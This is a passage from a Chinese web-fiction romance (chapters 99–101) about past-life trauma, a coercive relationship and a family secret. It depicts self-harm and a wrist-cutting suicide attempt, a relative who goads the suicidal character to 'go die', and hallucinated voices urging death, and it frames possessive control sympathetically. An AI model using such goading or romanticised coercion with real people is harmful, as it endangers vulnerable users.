“祁厌……对不起,真的很对不起,是我太愚蠢了,所以才会害了你,虽然说对不起好像很没用,但是我一直都欠你很多道歉……” 欠得太多了。 沈溪流肆意妄为习惯了,他喜欢漠视不在意的一切,又喜欢掠夺自己喜欢的一切,从头到尾都没有正视过祁厌的需求。 无论是最开始的相遇,还是重新做出口头上的契约。虽然嘴上说着是给祁厌一个报复回来的机会,但他从未想过以正确的方式和祁厌连结关系,而是选择用扭曲的算计将两个人彻底绑在一起。 在这段关系里,沈溪流从来都是一个强势的人。 不管如何,先得到手,得不到?那就继续逼迫,直到对方正视自己,不惜用他在意的东西诱惑,对方始终不愿意,那就让他意识到自己根本没有后悔的路,也不可能离开他! 在岛上和在老宅的时候,沈溪流是真的想要对江与青动手,他根本不在意江与青的身份,只要对方成为自己的敌人,那他就会不择手段毁掉这一切,再把祁厌囚禁到自己身边,让他意识到离开他的代价…… 祁厌始终没有理他,最近住院住得累人,他晒完太阳,就踩点回去,沈溪流站在原地很久很久,就像是一具没有灵魂的傀儡,无论是身心都疼得太厉害。 一直到电话响起,他才接起电话,听对面讲完,僵硬的表情才出现一丝波动:“离婚了?” “呵,不错。”沈溪流压抑地笑了一声,表情阴郁,“给我盯紧了。” 他打完电话,抬头看了一眼祁厌所在病房的窗户,捡起祁厌没有看一眼的资料。 沈溪流知道祁厌的意思,他不想再和他有任何瓜葛,也不想知道这些事情,他最好不要再来找他了。 这样拒人于千里之外的态度有些刺伤沈溪流,但对比祁厌因为他而遭遇到的一切,根本不算什么。 沈溪流摸了摸脖子上的绷带,转身离开了。 “他瘦得太恐怖了。”刚走进病房的张衡一开口说道,他上来的时候,远远看见沈溪流,差点没有认出来。 才一个月不到,就瘦成这样,太不正常了。 “是吗?”祁厌从窗帘后走开,淡淡道,“这与我们无关。” “……真这样倒是好。”张衡一知道他的口是心非。 祁厌没有说话,从果篮里拿了一个梨子,从抽屉里取出刀,缓慢地削着皮,他的右手伤上加伤,现在还有些难以操作,不过做些小事倒是没问题。 “后天真的要出院吗?”张衡一问道。 祁厌点头:“要出,再继续住下去也没用,而且江与青会怀疑的。” 手伤其实已经好得差不多,再继续住下去,江与青可能会察觉不对劲。 “好吧。”张衡一知道他作出的决定不会轻易改变,从文件包里取出一份资料给他,“还有一件很重要的事情,我需要告诉你。” “易鸿立说他想见你。”】 第99章 前世 愚蠢 易鸿立在这种时候提出想要见他, 能是什么好事吗? 祁厌不认为他们能有什么需要谈论的事情,直接拒绝了,过两天就给自己办理出院手续, 回到家里。 江与青听说后,问他接下来有什么打算, 先前为了让家里支持, 也为了让沈家主帮忙,所以他谎称祁厌是孩子的爹,为了预防万一, 他们两个现在最好先住一起,等后面再找个借口,和家里人说清楚。 “我爷爷烦死了, 一个劲让我把你带过去, 估计还是有点想‘拆散’我们,给我介绍别人,你先帮那个死人顶顶压力吧。”江与青真的很烦,“过两天得去见见他,要不然我爸妈可能应付不来,正好你也该去检查一下手伤了, 沈溪流那人真的一点都不留情……” 尽管祁厌已经说过好几遍, 手伤是他自己弄的, 但江与青不太信对方会自残, 再加上近来沈溪流做的事情, 让江与青觉得他越发凶残。 “和他无关。”祁厌又强调一遍,“真的是我自己弄伤的,检查就不用了,反正我以后不打算再去调酒, 没有必要的。” 真的没有必要了。 或许曾经多少还抱着一丝希望,但现在真的没有任何必要,就算能好一些,也没有任何作用。 “是吗?你不会是因为那家机构和沈家有关系,沈云殊有投资才不想去的吧?”江与青狐疑道,他也是不久前才知道这事,威尔逊医生的团队和沈家有关系,当初他们能这么轻易请到对方,大概率和沈溪流有关系? 江与青觉得这里面有着说不出的矛盾,但又弄不清楚,索性作罢。 “对了,我听说易鸿立说想要见你,但你拒绝了,他好像又说想见沈溪流去了。”江与青说。 “?”祁厌闻言一怔,拧紧眉头,“他想见沈溪流做什么?” 难道说想要让沈溪流帮他忙吗?但根据易鸿立现在的罪行,就算不是死刑,也会被判无期徒刑,这辈子都无法出来。 “谁知道呢,就算沈家想要帮他运作也不可能,顶多让他不判死刑,坐牢几百年。”江与青摆了摆手。 祁厌多少有些不解,但他也不想继续在这些事情里浪费下去,暂时没有答应住到江与青家里,但是答应帮他应付家里人,江与青会说出这些谎言也是为了帮助他,他现在不能什么也不管。 于是陪着他出国一趟,好好演了一场戏,江与青的父母对他很好,不过内心多少也有些不满,毕竟未婚先孕无论是放在任何时代都是糟糕的事情,眼见着江与青的父母明里暗里打探他们什么时候结婚,差点没让祁厌落荒而逃…… 过两天后,好不容易应付完江家的长辈,张衡一来电话了,他的语气有些凝重:“不知道易鸿立对沈溪流说了什么,他现在的情况有点糟糕……” 何止是糟糕,听说一回去就自杀了,如果不是家里人发现得及时,说不定现在已经死了。 “……” 祁厌陷入一阵沉默中,就算是挂了电话,也仍然有些走神。等江与青来找他时,已经从家里知道这事,表情相当纳闷:“沈溪流有病吗?还是说易鸿立真的说了什么不可告人的秘密,居然能把他刺激到自杀?!” 江与青的语气里多少有些恨铁不成钢,他这辈子最厌恶懦弱的人,遇到什么问题不能解决,非要用自杀来逃避现实? 沈溪流这么厉害,之前把他们所有人折腾成那个鬼样子,现在怎么可以因为易鸿立说的话,就选择自杀啊?! 太愤怒了,以至于江与青没有注意到祁厌的手也有些轻微颤抖。 “确实,太蠢了。” “走投无路的囚徒已经没有未来,他只会让活着的人……过得比他更不痛快,这种时候根本不应该去看、去听。” 祁厌压抑着情绪说,他心情很糟糕,没有和江与青说太多,等他离开以后才勉强起身去倒水喝药,但手颤抖得太厉害,以至于瓶子啪一下掉落在地,骨碌碌地一阵滚落,直到撞到白色的兔子拖鞋…… 一只手捡起药瓶。 “这是……什么药?”去而复返的江与青有些迟疑地问出这句话。 他仔细地打量着药瓶,这是祁厌刚拿回来不久的,瓶子还没来得及更换。 仔细盯着瓶身的药名,江与青整个人都僵硬在原地:“喂,祁厌,你别告诉我,你真的……得了信息素暴动症?!” 他有些不敢相信。 “嗯,只是一个恶作剧的道具,吓一跳了是吗?”祁厌将颤抖的手藏到身后,笑着说。 “……” 江与青盯着若无其事的祁厌,突然鼻子一酸,连眼眶不受控制地泛红,他不知道说什么,想说别做这种恶作剧的事情啊! 但话还没有说出来,江与青眼泪已经先流出来,难以想象的悲伤弥漫在心间,他有些压抑地哽咽道:“为什么……为什么连你也会……” 他又不是傻子,怎么可能没有察觉到祁厌和张衡一有很多事情瞒着他,只是没有说出来而已。 “……” 祁厌想要安慰他,但好像有些无力说话,原本不想让江与青知道的,起码不能现在就知道,结果还是有些疏忽大意了。 如果顾燕行没死就好了,他的omega哭了,应该他自己来安慰。 江与青这次花了很长时间才稳定好情绪,祁厌不想再在这种话题多说,问他:“你怎么突然又倒回来了?” 他还是特意等到江与青离开,才准备吃药的,结果没想到他去而复返,居然被撞见了。 “哦,沈云殊先生想要见你一面。”江与青努力岔开话题。 “沈云殊?”祁厌喝完药,把药瓶丢进抽屉里,听见这个熟悉的名字,也是有些不解。 “你什么时候认识他的?听说那人是个科研狂魔,甚至做得出为了研究而去给别的alpha生孩子……这事你别说出去啊,机密!知道的人不多,就连我也是从我爸口中知道,你知道的,我爸那人嘴巴藏不住秘密,憋了好多年,对着他的宝贝吐露心声的时候,没发现我躲在桌下,听了一个遍。” “……” 沈云殊这种时候想要见他,大概率和沈溪流有关吧。 祁厌和沈云殊没有多少交集,倒不如说沈家人里面,只有沈溪流是他最熟悉的,其余和陌生人没有两样。他仔细考虑了一下,还是答应了下来,祁厌不想再见到沈溪流,但沈云殊倒是无所谓。 江与青也挺赞同他和沈云殊见一面,毕竟那人在信息素方面的疾病研究可以说得上首屈一指,或许能够帮祁厌一把。 时间就定在了明天中午十二点,祁厌提前抵达约定好的地方,沈云殊则是踩点抵达,一分不少一分不多的那种,看见已经坐在那里等待的祁厌,他挑了挑眉道:“你来得真早,其实没必要提前,准时就好了。” 沈云殊的态度很自然,没有一点生疏感,随便点了一杯咖啡,又问祁厌要什么,等服务员离开以后,他直接开口道:“我不在的那段时间,没少被沈溪流那个白痴折腾吧?” 祁厌:“……” 他不知道怎么回答这个问题,说是也不是,说不是也不是,于是选择沉默以对。 “哈,你不说我也知道,沈溪流偏执又自大,你要是配合他的话,肯定会少被折腾,但看他那副鬼样子,就知道了。” 沈云殊笑笑,从兜里取出一瓶药递过去:“我就不废话了,你的病现在没得救,不过NIH研究所最近弄出来的新药,应该能够缓解你精神方面的压力,你先吃吃看吧,以后如果有什么问题,随时找我。” 药瓶下面是一张纸条,写着沈云殊的联系方式。 “……谢谢。”祁厌不会蠢到拒绝救命的药,倒不如说来得很是时候,否则他真怕自己哪天受不了折磨,在发病的时候自杀。 “谢谢?”沈云殊摇了摇头,“应该我向你道歉才对,毕竟是我手底下的人手脚不干净,趁机对你下手,说实话,我欠你一条命,但没办法救就是没办法救,再后悔也没用了。” 已经做错的事情无法挽回,沈云殊只能尽力帮忙了。 “和沈所长无关。”祁厌道,他被注射信息素摧毁剂的时候,沈云殊并不在场,怪不了他。 沈云殊说:“沈溪流是我的外甥,注射信息素摧毁剂的人是我的下属,他们都和我有着千丝万缕的关系,不过现在这些人都已经受到应有的惩罚了,我们沈家接下来会想办法补偿你。” “……”听到这话,祁厌沉默了半晌,他有些迟疑地问道,“沈溪流,他现在……” “哦,他啊?”沈云殊低笑一声,有些嘲讽地道,“放心,死不了。这个白痴……又故意把我支开,找到机会割了腺体,前两天又因为易鸿立说了些鬼话,躲在家里割腕自杀,如果不是信息素抑制颈环发现他的生命特征在减弱,通知在附近的人,估计他已经死了吧……真的很会折腾人。” 沈云殊的眉头皱得很深,他已经想好今晚就回国,然后冲到医院里给他几巴掌,想死就死彻底一点,别总是给人添麻烦! “……” 祁厌不知道该说些什么,整个人呆愣在原地。他想起来了,沈溪流上一次来医院看他的时候,脖子上就已经缠绕着绷带……所以,那时是已经割了腺体吗? 表情隐隐变得有些难看,祁厌深吸了一口气,不知道作何表态,只知道胸腔燃烧着一股无名火。 沈溪流难道不知道割了腺体以后,不止寿命会缩短,就连身体状况也会比以前更虚弱,稍有不慎就会感染病毒,一个没处理好,当场死亡也是有可能的…… 他就这么不在意自己的生死吗?才离开多长时间啊?就已经两次和死亡擦肩而过,真的让人有些愤怒,为什么就不能好好重视自己的生命! 明明以前那么怕痛,现在却非得折磨自己…… “那些人都是他亲手报复的,包括他自己。”沈云殊有些嫌恶道,“很蠢不是吗?” 一次又一次地拿自己的生命开玩笑。 说什么欠祁厌的必须还回去,祁厌手受伤,所以他的手也受伤了;祁厌的腺体坏死,所以他就割了腺体;现在又说他毁了祁厌的人生,所以他要还回去…… 沈云殊这辈子就没见过这么蠢的人。 真以为你做了这一切,就能还回去吗?自我折磨除了能让自己痛快一些,能让敌人幸灾乐祸,只会伤到亲人和在乎他的人…… “确实。”祁厌沉着脸点头,“易鸿立……说了什么,才让他想寻死的?” 他本来不想问的,但是终究是忍不住开口。 “不知道。”沈云殊很干脆,“但我今晚就回去,一定会弄清楚事情的原委。你不用管他,顺着自己的心意就好,不想出现就别出现,我们不会再给他任何机会寻死了,放心吧。” 沈云殊说完,端起咖啡,一口喝完:“有事就打我电话吧,发信息也行,看到了会回复你的。” 他还得赶航班回去打人,就不多说了。 第100章 前世 真相 “沈溪流, 你就这么想死吗?” 沈云殊连夜赶回国内,凌晨三四点抵达,压根不管沈溪流的情况, 直接闯入病房,盯着他惨白难看的脸色, 脖子上和手腕上的包扎痕迹, 气得不打一处来。 “你怎么这么能作啊?!”沈云殊真不知道沈家主是怎么盯着他的,居然能让沈溪流找到机会割掉腺体又自杀,如果不是家里人及时发现, 估计真让他得逞了。 一旁守夜的游弋听到沈云殊连他爸也骂了一句,没忍住小声道:“不连叔叔你也被支开了吗?” 沈家主虽然派人盯着沈溪流,但是下面的人也不可能时时刻刻紧盯不放, 这不就给他找到机会, 私底下安排了割掉腺体的手术。等沈家主发现不对以后,匆匆赶去医院,腺体已经被割走。 面对一脸愠怒的长辈,沈溪流也只是平静地说:“总不能所有人都被报复了,而我这个罪魁祸首却什么罪都没有受到吧?” 游弋简直一阵咋舌,没想到沈溪流疯起来, 自虐起来简直不是人, 居然连自己都下这么狠的重手。 割掉腺体的后遗症很多也很恐怖, 手术后也会持续性地疼痛很久, 不亚于拿刀片磨着后颈的人, 连带着神经性抽痛,可是沈溪流却好像没事人一样,过两天就下病床,继续报复其他人。 “放心, 我不会随便死掉的,报复才刚开始而已。”沈溪流让沈家主别盯得这么紧,他真的不会随随便便就死掉。 如果是原来的他,沈家主相信他没有这么冲动,但是现在的沈溪流太奇怪了,他没敢放松警惕,甚至勒令他搬回家,亲自看着他。 那时的沈溪流确实没有自杀的念头,不过等他去了一趟警局,和易鸿立见过一面以后,整个人就全方面的崩溃了。 当晚回到家里,沈溪流就割了手腕,躺进热水里,等待着死亡的到来。等其他人发现的时候,已经半死不活,差点就抢救不过来。 沈家主当时差点气晕过去,想要动手打人,但对好不容易抢救过来的沈溪流又下不了手,知道沈云殊在赶回来的路上,索性两眼一闭,直接把人交给他算了。 沈云殊仿佛没听见游弋的话,眼见沈溪流漠然的眼眸没有任何变化,他气笑了起来,伸手强硬地把沈溪流从病床拉扯下来,拖到窗边:“想死?那就从这里干脆点跳下去吧!” “沈溪流,做错事情是要付出代价的,你把事情搞得一团糟糕,现在还想要用自杀逃避一切吗?” “既然想逃避那就逃避吧,之前想着咱们好歹亲戚一场,你又是个小辈,搞出这种事情,我不能不管,所以才累死累活地满世界到处跑去求人。不过现在你想要自杀了,那就没必要再管了,赶紧去死吧!” “本来就是你搞出来的烂摊子,你死了正好。我不知道易鸿立是说了什么,才把你刺激成这个鬼样子,我也无所谓,去死吧,死了就什么都不用管了。”沈云殊笑容阴冷,“我看祁厌那情况也挺糟糕,你先死一步,明年我就去帮他收尸,说不定念着亲戚关系,我还可以强行给你们结个冥婚。” “怎么样?高不高兴啊?你要是死了,我正好可以成全你。” “!” 沈云殊这话实在是太有冲击力了,让死气沉沉的沈溪流蓦地抬起眼睛,死死盯着他,声音沙哑难听:“你别去折腾他了!” “别说那么搞笑的话。”沈云殊弯腰,眯眼直视沈溪流晦暗的眼眸,“是你在折腾他,不是我,懂吗?” “……” 沈溪流的瞳孔微微颤动,一瞬间好像又沉寂了下去。 “沈溪流,你什么时候变得这么愚蠢了呢?”沈云殊松开他,看着沈溪流踉跄地摔倒在地,后颈的绷带隐隐渗透出血丝,明明已经隔了很长一段时间,仍然不见伤口愈合。 “你现在折腾自己,是在折磨自己,折磨关心你的人,为什么要做出这种蠢事?” 仇者快亲者痛的蠢事向来不是他们沈家人会做的。 “我话就放在这里,要死就死得干脆点,也死得漂亮点,我刚才不是和你开玩笑,你死了,我不会再帮祁厌一点。”沈云殊转身离开,声音凉凉地道,“反正以他现在的精神状态,估计也活不过这两年。” “你就先死吧,死了就什么都不用管了。” 沈云殊是个说到做到的人,他或许对祁厌有那么些愧疚,但绝对不多,愿意做到这一步,更多的是考虑到沈溪流。 “表……表哥,你没事吧?”游弋小心翼翼地上前扶住他。 沈溪流没有推开他,目光却遥遥地看向窗外。 游弋顺着他的目光看去,神色一紧:“等等,你该不会打算?” “……” 沈溪流没有说话,他回到了病床,依然沉默着,脸色惨白得可怕。 他不能死的,起码现在还不能死,否则沈云殊一定会说到做到,继他之后,继续去祸害祁厌。 所以,还是让他这条烂命继续活着吧,最少也要在接下来的时间里,保护好祁厌,不能再生出任何事端,尤其是那件事情,绝对不能让祁厌知道…… …… “沈所长,你知道易鸿立对沈溪流说了什么吗?” 这是祁厌第一次拨打沈云殊的电话,他知道沈云殊不喜欢拐弯抹角,所以开门见山地问了出来。 “不知道,我也在调查,不过也许和我那愚蠢的妹夫有关系。”沈云殊的声音很随意,“易鸿立和沈溪流的嘴太严实了,我们沈家的老大已经在调查,多少有点端倪,等知道以后,我说不定会看情况转告给你。” “……多谢。”祁厌沉默半晌后说道。 沈云殊说:“别急着道谢,我说了是看情况,很有可能不会让你知道。” “还有,易鸿立不会死刑,溪流帮他找了张律师辩护,你知道吧?” 祁厌说:“嗯,我朋友已经告诉我了。” 沈溪流没脸来找他,只能通过张衡一传达这个消息,沈家在帮易鸿立运作,有非常大的可能性不会死。 有时候,逃过死亡,未必是一件好事。 “那就行了,过段时间,我们约定个时间,你来我研究所,仔细检查一遍身体情况吧。”研究所里的仪器更加精密,能够查出更多东西,有助于沈云殊了解祁厌的情况。 “行。”祁厌道。 电话另一端的沈云殊转笔的手指微顿,没想到发生这么多事情以后,他仍然答应得这么顺利,祁厌……确实是个很有生命力的人,即使到了这种时候,他也想要好好地活着。 如果没有发生这么多事情,没有倒霉地撞见沈溪流,这样的人无论到哪里都能活得很好吧。 早知道当初就别选祁厌算了,沈云殊心想,不过他知道即使重来一遍,他还是会选祁厌,毕竟祁厌和沈溪流的信息素匹配度很高,而他很看重这一点。 “对了,沈所长,他……现在的情况怎么样了?”迟疑半晌后,祁厌还是问了出来。 “挺好的,能吃能喝,短时间内死不了。”沈云殊说。 沈溪流和祁厌真的是一点都不般配,他们的三观截然不同,即使到了这种地步,祁厌估计也没有多恨沈溪流,换作沈溪流,早就让对方死得不能再死了。 祁厌也只问了这么一句,就不再过多询问任何与沈溪流相关的事情。他不会对沈溪流的任何事情表态,他们就这样结束是最好的,不要再有任何关系了,将彼此从各自的生活里抹除掉印迹,是最好的结果。 时间过得很快,易鸿立的二审因为有沈家的运作,的确产生了改变,他没有被判死刑,但余生都将在监狱里度过,而接下来或许才是他噩梦的开端吧。 原先沈云殊说有可能会告诉他的事情,一直到二审结果下来都没有告诉,祁厌本以为事情已经结束,但好像并没有。 沈家老宅,书房内,一片寂静。 “哈,温寻水,你是白痴吗?”沈云殊深吸一口气,最后还是没忍住怒骂出声,“这么愚蠢的事情,你也干得出来?当年夏家和易家是怎么回事,你难道不知道吗?” 温寻水,也就是沈溪流的亲生父亲一脸愧疚:“抱歉,我也不知道其中会有这么多误会。” 他确实不知道夏家和易家的事情,毕竟当时的他还沉浸在妻子离世的痛苦,根本无意关心闲事。 “抱歉?现在闹成这样,是你一声抱歉就能解决吗?”沈云殊冷笑一声,“当初就不该让小妹嫁给你这个白痴,直接拉低我们沈家的智商,连带着溪流也像你一样敏感,动不动就要死不活。” 这可和我没关系,你们沈家人都这样。温寻水表情微变,但在大舅哥面前,又不好反驳。 “大哥,你也说一句吧,真没想到,这里面还有这么深的原因,难怪溪流……会寻死觅活。”沈云殊稍稍有那么一点点能够理解沈溪流了。 沈家主忍不住叹息:“事到如今,我还能说什么?我们沈家终究是成了帮凶,现在甚至连弥补的机会都没有了。” “要不……我们把当年那个保镖和老管家找回来?”温寻水建议道。 “你可闭嘴吧!”沈云殊一听到他说话,就来气,“老管家都埋土里了,你还想把人找回来?要不你先死下去,把人给我带回来怎么样?” “真是混账东西!当年让你照顾好小妹,结果直接害她和溪流出车祸,一死一伤,之后还整天活在痛苦里,借酒消愁很爽吗?连个小孩都看不好,大白天地让人走丢,还差点又出车祸,你是白痴吗?!” “如果不是你,我小妹不会死,溪流不会看不见,也不会走到马路上,更不会被人救了,你这个白痴却连救命恩人都确认不了,直接报恩到仇人那边,导致对方害惨了他一家!” “恩将仇报,真有你的。” 真是狗血的遭遇,沈云殊心想,祁厌怎么就这么倒霉呢? 小时候救了沈溪流一次,结果过来接人的保镖和老管家却连他的身份都没弄清楚,记得那张脸和易鸿立很像,听说以后的温寻水没有放在心上,只是让老管家上门拜访,好好感谢。 结果正好就与易鸿立撞了个正着,这是一个聪明人。 一听对方来访的原因,易鸿立就弄清楚了真相,他很清楚他的两个孩子里,只有衍之会做出这种帮助别人的事情。 放在他眼前的有两个选择: 第一个是把来自于温家、沈家的人情还给快要和他闹翻的易衍之身上; 第二个是顺势引导对方,帮助沈溪流的人是易扬,拿到两家的人情。 这是一个很简单的选择题吧? 易鸿立几乎不需要思考,就微笑着默认,为避免事情真相被拆穿,并且开始误导对方,以及给易扬洗脑,让他记住自己的确从马路中间将一个小孩拉回路边,送到警察局…… 不过其实他根本不需要做到这一步,因为温寻水并不在意这件事情,确定老管家拜访了,就不再多问。 而沈溪流在这一点上,和他父亲温寻水很像。他很感谢对方救了他一命,提醒舅舅别忘记报恩,就没有询问太多。 毕竟他的眼睛因车祸淤血压迫神经,导致短时间内看不见,沈云殊索性带着他出国去找一个朋友帮忙看看,根本没时间。 甚至再见到易扬,都是好几年后的事情。 沈溪流当时也只是简略道谢,并没有同他有太多交流,更不会因为被救了一次就产生什么特殊情感,反而是在易扬搭上沈湘婷以后,他们才有更多接触。 而易鸿立却充分利用这个机会,借着沈家的光,拿到原本无法得到的项目,攀上更高峰。也因此与某位赵姓高官认识,登门拜访的时候,无意间看见挂在墙上的一张老旧照片,在照片里看到了一张无比熟悉的脸。 ——和他的前妻夏云惬几乎一模一样的脸。 那位高官注意到了,只略微说了一两句,就不再多说。 易鸿立却私下去调查,很快就得知真相。 那是赵姓高官的父亲的战友和他的妻子儿女,祁家原本也是很幸福美满的一家,却因为一场意外丢失了女儿,多年以来一直没有找到…… 知道这事的时候,易鸿立后背一阵冒冷汗。 如果现在被祁家的人找到夏云惬,知道他对夏云惬做了什么的话,他会落得什么下场,几乎是不用多想吧?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 前世+现实 记忆 沈溪流曾经想过, 如果他能早一点和祁厌相遇就好了,这样就能避免祁厌受到那么多的苦难。 但其实一点都不好! 当沈溪流知道他们曾经在小时候就相遇过一次时,就再也不敢这样想了。只是相遇一次, 他便给祁厌带来了那么多的痛苦,成为他噩梦的开端, 带来不该有的苦难…… 所以这种事情绝对不能让祁厌知道吧? 如果没有那一次相遇, 易鸿立就没有机会利用他,抓住沈家给的机会往上爬,得以发现夏云惬的身份, 从而给祁厌和他的家人带来这么多痛苦事情。 原本祁厌的外公外婆、舅舅舅妈也不会这么早去世,他也不会和自己的母亲、表弟、表妹,关系破裂到这一步。 可是秘密是瞒不住的, 沈溪流本以为他能把事情瞒得严严实实, 奈何总有东窗事发的一天。 易鸿立过得不好,也不会让他们好过。 即使他永远无法从监狱里出来,易鸿立也有办法让祁厌知道这件事,等沈溪流知道的时候,匆匆赶到祁厌家的时候,时至今日, 也无法忘记祁厌当时的表情。 “沈溪流, 离我远点。”祁厌的表情很阴冷, 就连看他的眼神也格外吓人, “以后不要再让我看见你。” 易鸿立的报复的确相当成功, 无论是沈溪流,还是祁厌,没有一个人还能够活得自在,沈溪流彻底崩坏了, 祁厌也再次被送进了医院。 再后来,好像没什么好说的。 病入膏肓的人无药可救,祁厌连药都差点吃不进去了。 他坐在病房里,身边围绕着很多人。 【不知道祁戈和妍妍长大以后会是什么样子?】舅妈的表情有些伤感。 祁厌说:妍妍和您长得很像,祁戈也会很好的,他已经答应复读了…… 舅舅说:【不用说,祁戈肯定会和我一样,也做一名正直的警察,他小时候,老喜欢去偷摸我的枪,被打了也不吸取教训,真皮痒。】 祁厌低着头道歉:对不起,如果不是我,祁戈说不定真的会如您所愿。 【幺儿现在病好了吗?】外公拧着眉头,看着窗边的花。 祁厌陷入了沉默,目光落在坐在床边的女人,对他很温柔地笑着。 耳边响起无数嘈杂的声音,来自于所有因他而死的人,来自于不同时期的自己,他们在问: 【你为什么还没死?】 …… ………… 从噩梦中醒来,沈溪流出了一身冷汗,他躺在沙发上,不知不觉睡了很久,虽然屋里开了温暖的空调,但他依然四肢冰冷。 窗外的天色已经变得昏暗,隐隐有白色的雪花飘落,初雪降临了。 “哈啊,哈啊!” 沈溪流看见落下的风雪,表情空白一瞬,他急切地跑上去把窗帘合拢,就连呼吸都变得无比急促。 讨厌雪天,不想看到雪。 沈溪流控制不了自己的失控,就连体内的信息素都变得紊乱起来。 他本以为上辈子已经结束了,祁厌最后已经原谅他,但其实并没有。 现在想来,前世祁厌之所以会原谅他,会在最后一次见面时,对他说出那番话,不是原谅他,只是不想让他掉入易鸿立的阴谋,不想让易鸿立得逞罢了。 “拜托了……求你……别恢复记忆……”沈溪流扯着厚重的窗帘,遮挡住躲在黑暗里的自己,无比痛苦地祈求着,他太害怕祁厌恢复记忆了。 无数次安慰自己,无数次冷静下来,但情绪总是会崩盘,理智控制不住失控的情绪。无论说了多少句安慰自己的话,沈溪流发现自己终究是无法从恐惧中走出,黑暗如影随形地包裹着他,痛苦从前世纠缠到今生,沈溪流从未解脱过。 “啪!” 屋内的灯光突然亮了起来,沈溪流恍恍惚惚地反应过来,下意识看向开灯的人。 “……” 祁厌看到他狼狈地躲在角落里的模样,怔愣一瞬,张了张嘴。还没说出什么,沈溪流就踉跄地站了起来,朝他走了过去:“祁厌……祁厌!” 求你不要恢复记忆! 沈溪流扑进祁厌的怀里,死死搂着祁厌的腰,他浑身都在颤抖,泪水从泛红的眼眶滚落出来。一想到祁厌恢复记忆以后,知道他曾经做过那么多糟糕事情,把他害到那种地步,沈溪流就感到无比恐惧。 祁厌下意识地接住他,本想问沈溪流发生什么事情了,但察觉到他的恐惧以后,就只是轻轻拍着他的后背:“不用着急,没事的,不管发生什么事情,我都会一直陪在你身边。” 沈溪流的精神状态时好时坏,祁厌已经不再相信家里的仪器检测出来的结果,沈云殊的言语里也多有暗示。 想到今天在研究所遇到的事情,祁厌的心情有些复杂,但终究并未表露出来,他低声安抚着精神紧绷的沈溪流。 “如果你遇到什么痛苦的事情的话,都可以和我倾诉,我会认真地听……” “不行的!不行的!” 沈溪流用力地摇着头,不可能告诉你,不可以告诉你,不敢让你知道那些事情,否则你一定会离开我! 太痛苦了!为什么神明让他重生在最好的时候,却让祁厌也重生了呢? 沈溪流无法形容自己重生时的惊喜,也无法形容自己知道祁厌重生时的极度恐惧,太可怕了,简直差点就让他窒息,恨不得再死一次! “究竟……是怎么回事?”等沈溪流的情绪稍稍稳定以后,祁厌给他打了一针抑制剂,等他睡着以后,祁厌皱着眉头思忖。 他不明白沈溪流为什么会变成这个样子,明明以沈溪流的地位,他没有理由变成现在这种精神紧绷、脆弱的模样。 祁厌曾经也问过沈云殊和游弋,但这两人也不知道,只说沈溪流从小就这样。 思考半晌后,祁厌拿出手机,翻出沈家主的电话号码,这是上次在茶庄见过面以后,对方留下的联络方式。 电话响了一会儿,对面才接起来,沈家主有些意外他居然会找自己,不等祁厌开口询问,就道:“是因为溪流的情况吗?” 他很轻易地猜出祁厌来电是为了什么,祁厌稍微给他说了一下沈溪流的情况。对沈家主,祁厌总有种莫名的信任感,也不知道是从何而起,明明他们在不久前才第一次见面。 仿佛祁厌的潜意识已经认为这位长辈应该是最了解沈溪流、也是唯一能管教他的人。 “……其实不用我来说。”对面的沈家主伸手摆弄着眼前的相册,声音温和道,“我猜你很快就能知道了,比起我,你更清楚一切。” 祁厌一愣:“您这话是什么意思?”他有些不明白,为什么自己会比沈溪流的舅舅更清楚一切。 “祁厌,一直以来都劳烦你了。” 沈家主没有仔细解释,他盯着相册上的某张照片,一名留着黑色长发的清瘦少年,戴着帽子和墨镜,看不清楚长相,就连性别都无法透过照片确认,只隐隐能从侧面看得出来少年的五官轮廓精致,透着清冷疏离感。 “溪流从小到大都是个很让人头疼的孩子。” “但他这次真的在拼命地去做好一件事情,弥补没有来得及发生的错误,也在克制着自己的冲动。”沈家主轻声说道,“我很相信你,只希望你到时候可以好好地去看看。是否愿意原谅他,选择权在你的手上,没有人有资格替你做主。” 祁厌不知道怎么形容听到这番话的心情,完全无法理解,沈家主为什么要说这种话?什么原谅他?沈溪流并没有做过对不起他的事情…… 然而迷茫确实没有维持太久,他又做了个梦,梦里江与青带着他的孩子来看他。 才一岁多的宝宝,长得很白嫩可爱,五官和江与青非常相似,又能从轮廓里看到顾燕行的影子,他穿着小恐龙的连体装,尾巴还在后面摇摆。 “为什么要隔着窗啊?”江与青把宝宝搁在窗边,有些无语,“我感觉自己好像来探监一样。” 祁厌失笑道:“还是隔着窗吧,我现在精神状态不太好,免得吓到孩子。” 安全起见,他们还是离得远一点比较好,等下次情况稳定许多以后,大家再好好聚聚,应该是没问题吧? 他看着宝宝懵懂好奇的大眼睛,软乎乎的小脸几乎贴到玻璃上面,露出几颗小米粒似的牙齿,嗷嗷地叫着。 “穿着这种衣服,虽然显得很可爱,但会不会容易摔倒啊?”祁厌半弯着腰和宝宝对视,笑眯眯地伸出手指点了点他的小胖手贴着的窗户。 “呜哇!”小胖脸挤得更用力了,奶膘都被挤变形,他露出甜滋滋的笑容,好奇地看着祁厌。 江与青把宝宝拎起来,仔细地擦了擦他快要流出来的口水:“没事,尾巴很厚实,摔了也没事。” 他们隔着窗闲聊,祁厌注意到玻璃窗映射出来的人有些颓废,他差点没认出自己,感觉就连面相好像也变了。 事实证明他的选择是正确的,没和江与青他们多聊几句,祁厌就开始感觉到情绪失控了,医生和护士冲进来给他注射药剂,江与青捂住宝宝的眼睛,没让他看到这一幕。 【你真是活得太久了!】他听见自己不耐烦地说。 “闭嘴!”祁厌的心情变得焦躁无比,根本无法控制。 【都说了,别让我闭嘴,想让我闭嘴,你先去死。】他看到“自己”在冷漠地注视他。 又看到另一个“自己”坐在窗边,望着下面,幽幽说道:【我好想跳下去,结束这糟糕的人生。】 【怎么又让易鸿立得逞了,一想到这里,我就好后悔!】他看见“自己”抓着头发踱步,焦躁不满。 【你怎么不赶紧死呢?死了就轻松了!】 越来越多的幻觉缠绕在周身,祁厌头疼地捂住头,缩在角落里,直到听见一道温柔的女声说话:【好了,都闭嘴吧。】 她一说话,所有“人”都闭上了嘴巴,祁厌也好似一瞬间解脱了。 他有些恍恍惚惚地抬头看过去,温柔的白色身影一如童年时那般美丽,让人无比怀念:“……妈。” 白色的身影蹲下来,轻轻地搂住他:【……衍之,头还疼吗?】 